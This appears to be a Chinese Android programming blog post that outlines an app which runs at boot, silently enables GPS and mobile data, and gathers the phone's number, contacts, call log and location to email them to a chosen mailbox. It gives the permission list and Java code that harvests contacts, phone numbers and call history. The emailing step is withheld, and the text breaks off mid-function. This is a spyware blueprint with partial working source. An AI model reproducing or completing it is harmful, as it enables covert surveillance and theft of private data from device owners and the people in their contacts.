当前位置:操作系统 > 安卓/Android >>

开机实现将手机联系人、通话记录、手机号码、手机所在地、发送到指定邮箱里

自己整理了下,未测试,主要是方便自己的学习
整个程序的大概思路是这样的
手机开始时:
1、获取手机联系人信息、通话记录、手机号码
2、检查手机gps状态:关闭状态则开启 ,然后获取手机的所在地
3、检查手机网络开关,关闭则开启
4、将采集的信息发送到指定邮箱中(本文以qq邮箱实现,由于代码太多这里就不贴出来了,有需要的联系我)
5、手机网络还原到初始状态、关闭gps(尚未实现,有实现的朋友可以一起研究一下)
添加权限
 <uses-permission android:name="android.permission.INTERNET" />
 <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
 <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
 <uses-permission android:name="android.permission.READ_PHONE_STATE" />
 <uses-permission android:name="android.permission.WRITE_SETTINGS" />
 <uses-permission android:name="android.permission.READ_CONTACTS" />
 <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
 <uses-permission android:name="android.permission.WRITE_APN_SETTINGS"/>
 
下面我们就按部就班来实现我们的想法:
[java]
1、获取联系人、电话号码、通话记录: 


[java]
/**
 * 获取本机号码
 * @param context
 * @return
 */ 
 public static String getLocalNumber() { 
  TelephonyManager mTelephonyMgr; 
  mTelephonyMgr = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE); 
  return mTelephonyMgr.getLine1Number(); 
 } 
 
 /**
  * 获取联系人
  * @param context
  * @return
  */ 
 public static  String getContact(){ 
  ContentResolver cr = context.getContentResolver();     
  //取得电话本中开始一项的光标   
  Cursor cursor = cr.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);   
  String string =""; 
  while (cursor.moveToNext())   
  {   
      // 取得联系人名字   
     int nameFieldColumnIndex = cursor.getColumnIndex(PhoneLookup.DISPLAY_NAME);   
      String name = cursor.getString(nameFieldColumnIndex);   
      string += ("联系人:"+name+", 电话号码:");   
      // 取得联系人ID   
      String contactId = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts._ID));   
      Cursor phone = cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null,       ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = "  
              + contactId, null, null);   
    
      // 取得电话号码(可能存在多个号码)   
      int i=0; 
      while (phone.moveToNext())   
      {   
          String strPhoneNumber = phone.getString(phone.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));   
          if(i==0){ 
             string += (strPhoneNumber);     
          }else{ 
             string += ("," + strPhoneNumber);     
          } 
        
          i++; 
      }   
      string += "\n";   
      phone.close();   
      System.out.println("persion:"+string); 
  }   
  cursor.close(); 
  return string; 
 } 
 
  
 
  
 
/**
 
*获取通话记录
 
*/ 
 
public static List<Call> getCallList() { 
  List<Call> callList = new ArrayList<Call>(); 
  int type; 
  Date date; 
  String time = ""; 
  String telName = ""; 
  String telNo = ""; 
 
  ContentResolver cr = context.getContentResolver(); 
  final Cursor cursor = cr.query(CallLog.Calls.CONTENT_URI, 
    new String[] { CallLog.Calls.NUMBER, CallLog.Calls.CACHED_NAME, 
      CallLog.Calls.TYPE, CallLog.Calls.DATE, 
      CallLog.Calls.DURATION }, null, null, 
    CallLog.Calls.DEFAULT_SORT_ORDER); 
  for (int i = 0; i < cursor.getCount(); i++) { 
   Call call = new Call(); 
   cursor.moveToPosition(i); 
   telName = cursor.getString(1); 
   telNo = cursor.getString(0); 
   type = cursor.getInt(2); 
   SimpleDateFormat sfd = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); 
   date = new Date(Long.parseLong(cursor.getString(3))); 
   time = sfd.format(date); 
   // call.setLongTime(formatDuring(Long.valueOf(cursor.getString(4)))); 
   // String callDate = getdays(Long.parseLong(cursor.getString(3))); 
   if (telName != null) { 
    call.setName(telName); 
   } else { 
    call.setName("未知联系人"); 
   } 
   call.setNumber(telNo); 
   call.setTime(time); 
 
   if (CallLog.Calls.INCOMING_TYPE == type) { 
    call.setType("接听"); 
   } else if (CallLog.Calls.OUTGOING_TYPE == type) { 
    call.setType("拨出"); 
   } else if (CallLog.Calls.MISSED_TYPE == type) { 
    call.setType("未接"); 
   } 
   callList.add(call); 
  } 
  return callList; 
 } 
 
 private String formatDuring(long mss) { 
  long hours = mss / (60 * 60); 
  long minutes = (mss % (1000 * 60 * 60)) / 60; 
  long seconds = (mss % (1000 * 60)); 
  return hours + ":" + minutes + ":" + seconds; 
 } 
 
 private String getdays(long callTime) { 
补充:移动开发 , Android ,

CopyRight © 2022 站长资源库 编程知识问答 zzzyk.com All Rights Reserved
部分文章来自网络,